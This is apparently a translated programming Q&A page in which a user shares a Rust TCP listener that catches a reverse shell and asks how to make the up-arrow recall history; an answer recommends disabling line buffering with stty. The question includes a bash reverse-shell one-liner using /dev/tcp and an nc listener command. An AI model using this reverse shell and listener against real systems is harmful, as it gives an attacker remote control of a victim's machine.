0

我有这个 rust 反向外壳,它监听端口并等待连接。
然后我可以运行类似的东西/bin/bash -c 'bash -i >& /dev/tcp/0.0.0.0/55100 0>&1'来获得一个反向外壳。

fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where
    R: std::io::Read + Send + 'static,
    W: std::io::Write + Send + 'static,
{
    std::thread::spawn(move || {
        let mut buffer = [0; 1024];
        loop {
            let len = r.read(&mut buffer).unwrap();
            if len == 0 {
                println!("Connection lost");
                std::process::exit(0x0100);
            }
            w.write(&buffer[..len]).unwrap();
            w.flush().unwrap();
        }
    })
}

fn listen() -> std::io::Result<()> {
    let listener = std::net::TcpListener::bind(format!("{}:{}", "0.0.0.0", "55100"))?;
    println!("Started listener");

    let (stream, _) = listener.accept()?;
    let t1 = pipe_thread(std::io::stdin(), stream.try_clone()?);
    println!("Connection recieved");
    let t2 = pipe_thread(stream, std::io::stdout());
    t1.join().unwrap();
    t2.join().unwrap();

    return Ok(());
}

一切正常,除了当我按下键盘上的向上箭头时它没有将最新的命令放入输入中,而是放入^[[A

[root@arch ~]$ echo hello
echo hello
hello
[root@arch ~]$ ^[[A <------
echo hello
hello
[root@arch ~]$ 

正如你在这里看到的,它完美地运行了最新的命令!但它不会像在普通 shell 中那样将命令放入输入中。我猜那是因为它只在你按下回车时才向 shell 发送东西。

我已经尝试过像这样的 rustyline,但是当按下向上箭头或执行任何其他相关操作时,它删除了整个用户和目录( [root@arch ~]$ )。

use rustyline::error::ReadlineError;
use rustyline::Editor;
use std::io::Write;

fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where
    R: std::io::Read + Send + 'static,
    W: std::io::Write + Send + 'static,
{
    std::thread::spawn(move || {
        let mut buffer = [0; 1024];
        loop {
            let len = r.read(&mut buffer).unwrap();
            if len == 0 {
                println!("Connection lost");
                std::process::exit(0x0100);
            }
            w.write(&buffer[..len]).unwrap();
            w.flush().unwrap();
        }
    })
}

fn main() -> std::io::Result<()> {
    let listener = std::net::TcpListener::bind(format!("{}:{}", "0.0.0.0", "55100"))?;
    println!("Started listener");

    let (mut stream, _) = listener.accept()?;
    println!("Connection recieved");
    let t = pipe_thread(stream.try_clone().unwrap(), std::io::stdout());

    let mut rl = Editor::<()>::new();
    loop {
        let readline = rl.readline(">> ");
        match readline {
            Ok(command) => {
                rl.add_history_entry(command.as_str());

                // Clone command to increase its lifetime
                let command = command.clone() + "\n";

                // Send a TCP message
                stream
                    .write(command.as_bytes())
                    .expect("Faild to send TCP.");
            }
            Err(ReadlineError::Interrupted) => {
                println!("CTRL-C");
                break;
            }
            Err(ReadlineError::Eof) => {
                println!("CTRL-D");
                break;
            }
            Err(err) => {
                println!("Error: {:?}", err);
                break;
            }
        }
    }

    return Ok(());
}

因此,如果有可能在按下向上箭头而不使用 rustyline 并在本地存储历史记录时将最近的命令放入输入中?

所以它看起来像这样:

[root@arch ~]$ echo hello
hello
[root@arch ~]$ echo hello (up arrow pressed)
hello
[root@arch ~]$ 

我正在寻求如何做的总结!
例如,当按下向上键时,它会实时更新输入。
基本上在按下向上键时实时更改输入,
例如rlwrap -cAr nc -lvnp 55100

[root@arch ~]$ echo hello
echo hello <------ ==|==
hello

我不想在按下输入时显示它,而是希望它实时出现在输入中

4

1 回答 1

0

您的评估是正确的,由于线路缓冲,您的初始尝试没有奏效。解决此问题的正确方法是禁用它。我可以通过运行来解决这个问题stty cbreak -echo;要么由进程本身产生它,要么简单地使用stty cbreak -echo && cargo run.

在上面的命令中,cbreak禁用行缓冲并-echo禁用终端自动打印字符,因为这是由 shell 完成的。如果您查看您的第一个输出,您会发现那里也发生了这种情况。

这仅适用于类 Unix 系统。Windows 可能有一个执行相同操作的 winapi 调用。

于 2021-06-08T18:25:19.460 回答